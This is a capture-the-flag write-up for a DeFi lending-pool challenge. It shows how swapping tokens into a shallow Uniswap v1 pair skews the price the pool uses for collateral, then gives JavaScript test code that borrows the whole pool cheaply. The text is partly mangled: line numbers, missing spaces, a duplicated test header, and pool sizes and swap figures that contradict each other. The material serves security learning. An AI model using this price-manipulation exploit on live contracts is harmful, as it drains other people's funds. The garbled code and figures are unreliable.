borrow(): you can borrow DVT from the lendingPool, but you should Mortgage twice the depositRequired while the depositRequired depends on the proportion of uniswapPair.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH function borrow(uint256 borrowAmount) public payable nonReentrant { uint256 depositRequired = calculateDepositRequired(borrowAmount); require(msg.value >= depositRequired, "Not depositing enough collateral"); if (msg.value > depositRequired) { payable(msg.sender).sendValue(msg.value - depositRequired); }
My understanding is that we gave PuppetPool 10000 DVT at the beginning, and then went to the exchange to addLiquidity [10ETH : 10DVT]. lendingPool lends DVT according to the liquidity ratio of the exchange . But when the PuppetPool is lent, it needs to charge twice the deposit[depositRequired]. At the beginning, the liquidity ratio is 1:1, and we will make the ratio unbalanced. For example 0.1ETH to exchange for 1000DVT, and then the depositRequired will become very small. The 25ETH of attacker is enough to exchange for twice the depositRequired of 10000DVT.
Such a shallow pool can be easily manipulated. We can manipulate the proportion of uniswap.
The solution is the following:
Exchange the attackers 1000 DVT token to ~ 9.9 ETH using the v1 pool (We can’t buy all the ETH from the pool).
This will cause that 1 DVT = 0.1 / 1010 (0,00009901 ETH)
To borrow the 100000 DVT we will need ~19.95 ETH
Borrow all DVT tokens available from the PuppetPool .
the uniswap v1 we should learn, this is the github link.
solution
tokenToEthSwapInput and tokenToEthSwapOutput: one of them is counting the ETH which u will get base on how much token u provide, the other is to calculate the token required to obtain a specific number of ETHs
solution 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14
it('Exploit', asyncfunction () { /** CODE YOUR EXPLOIT HERE */
it('Exploit', asyncfunction () { // approve all tokens from attacker to exchange awaitthis.token.connect(attacker).approve( this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
//Buy as many ETH as possible with attackers available DVT token, this will break the 1:1 ratio // drives down the needed collateral drastically const tx = awaitthis.uniswapExchange.connect(attacker).tokenToEthSwapOutput(ethers.utils.parseEther('9.9'), ATTACKER_INITIAL_TOKEN_BALANCE, (await ethers.provider.getBlock('latest')).timestamp * 2, { gasLimit: 1e6 } ); await tx.wait();
const depositRequired = awaitthis.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE); expect(depositRequired < ATTACKER_INITIAL_ETH_BALANCE).to.be.true; // borrow the max amount of token awaitthis.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value: depositRequired}) });